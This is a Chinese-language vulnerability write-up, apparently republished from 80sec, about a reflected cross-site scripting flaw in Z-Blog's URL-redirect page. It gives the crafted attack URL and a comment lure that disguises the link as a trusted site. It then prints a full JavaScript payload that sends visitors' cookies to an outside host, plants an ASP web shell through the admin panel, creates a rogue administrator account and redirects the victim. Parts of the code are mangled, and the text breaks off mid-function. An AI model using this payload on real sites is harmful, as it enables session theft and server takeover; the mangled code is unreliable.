Z-blog跨站脚本攻击漏洞_漏洞分析教程-查字典教程网

Z-blog跨站脚本攻击漏洞

摘要：漏洞说明：Z-Blog是一款基于Asp平台的Blog博客(网志)程序，支持Wap，支持Firefox，Oprea等浏览器，在国内使用非常广泛...

漏洞说明：Z-Blog是一款基于Asp平台的Blog博客(网志)程序，支持 Wap，支持Firefox，Oprea等浏览器，在国内使用非常广泛，官方主页在http://www.rainbowsoft.org/。Z- blog代码严谨，前台功能简洁，后台功能强大，这为它的产品安全带来很大的优势，但是80sec在产品中发现一个严重的跨站脚本攻击漏洞，加上产品设计上的一些问题可能带来严重的后果。

漏洞厂商：http://www.rainbowsoft.org/

漏洞解析：在FUNCTION/c_urlredirect.asp中，程序对提交的url参数做如下处理

strUrl=URLDecodeForAntiSpam(Request.QueryString("url"))

其中URLDecodeForAntiSpam是防止垃圾连接的解码函数，其函数处理如下

Function URLDecodeForAntiSpam(strUrl)

Dim i,s

For i =1 To Len(strUrl) Step 2

s=s & Mid(strUrl,i,1)

URLDecodeForAntiSpam=s

End Function

在做如上处理之后程序将在c_urlredirect.asp输出url参数

...

…

精心构造url参数将能构造一个url类型的非持久xss如下：

http://127.0.0.1/Z-Blog18/FUNCTION/c_urlredirect.asp?url=jxaxvxaxsxcxrxixpxtx:x"x>xxx

上述url访问之后将引入127.0.0.1/1.js执行，其中可以写任意js代码。

而z-blog的所有安全设计全部用来抵御前台的攻击，对于后台基本没有任何限制，加上antispam功能对用户提交的url连接类似于加密处理，所以很容易就可以诱惑别人访问上述的xss攻击url，可以发表评论如下：

看这个站，有新东西？

[URL=http://www.foo.com/function/c_urlredirect.asp?url=jxaxvxaxsxcxrxixpxtx:x"x>xxx]http://www.80sec.com[/URL]

用户看到的是http://www.80sec.com这个信任的站点，而一旦点击将在www.foo.com域执行恶意用户指定的js，在该js里可以写shell，添加用户，偷取COOKIE然后模拟出真正的转向，整个过程很难发现攻击的意图，80sec提供js如下：

xmlhttp=poster();

cookie=document.cookie;

tolocation='http://www.80sec.com/';

//get cookie

x=new Image();

x.src="http://www.80sec.com/c.php?c=" escape(document.cookie);

//get a shell

data="txaContent=<%execute(request("a"))%>“;

postmydata(”http://www.0×37.com/cmd.asp?act=SiteFilePst&path=./UPLOAD/index.asp&opath=”,data);

//add a user data=”edtID=0&edtLevel=2&edtName=xss2root&edtPassWord=d073d5454ffe92bdcd3cbcb77d149df5&edtPassWordRe=xss2root&edtEmail=null@null.com&edtHomePage=&edtAlias=”;

postmydata(”http://www.0×37.com/cmd.asp?act=UserCrt”,data);

//fool the user

window.location=tolocation;

function poster(){

var request = false;

if(window.XMLHttpRequest) {

request = new XMLHttpRequest();

if(request.overrideMimeType) {

request.overrideMimeType(’text/xml’);

}

} else if(window.ActiveXObject) {

var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

for(var i=0; i

try {

request = new ActiveXObject(versions[i]);

} catch(e) {}

}

return request;

}

function postmydata(action,data){

xmlhttp.open(”POST”, action, false);

xmlhttp.setRequestHeader(’Content-Type’, ‘application/x-www-form-urlencoded’);

xmlhttp.send(data);

return xmlhttp.responseText;